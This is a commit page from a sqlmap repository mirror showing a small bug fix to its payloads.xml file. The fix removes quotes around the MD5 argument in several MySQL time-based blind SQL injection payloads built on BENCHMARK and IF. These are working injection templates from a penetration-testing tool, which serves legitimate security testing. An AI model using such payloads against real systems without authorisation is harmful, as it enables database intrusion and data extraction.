sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-23 01:56:36 +03:00
Code Issues Packages Projects Releases Wiki Activity

bug fix (playing with wavsep i've realized that we are sending in this payload quoted 'string' (causing problems), while MD5 also accepts integer values

Browse Source
This commit is contained in:
Miroslav Stampar 2011-02-06 12:24:50 +00:00
parent 412a97b7fe
commit 97f9c9d119
1 changed files with 8 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
xml/payloads.xml
View File

@ -1461,9 +1461,9 @@ Formats:
<risk>2</risk>
<clause>0</clause>
<where>1</where>
<vector>; IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM]);</vector>
<vector>; IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME])), [RANDNUM]);</vector>
<request>
<payload>; SELECT BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'));</payload>
<payload>; SELECT BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME]));</payload>
<comment>#</comment>
</request>
<response>
@ -1732,9 +1732,9 @@ Formats:
<risk>2</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME])), [RANDNUM])</vector>
<request>
<payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
<payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME]))</payload>
</request>
<response>
<time>[DELAYED]</time>
@ -1751,9 +1751,9 @@ Formats:
<risk>2</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME])), [RANDNUM])</vector>
<request>
<payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
<payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME]))</payload>
<comment>#</comment>
</request>
<response>
@ -2097,9 +2097,9 @@ Formats:
<risk>3</risk>
<clause>1,2,3</clause>
<where>2</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector>
<vector>OR [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME])), [RANDNUM])</vector>
<request>
<payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
<payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5([SLEEPTIME]))</payload>
</request>
<response>
<time>[DELAYED]</time>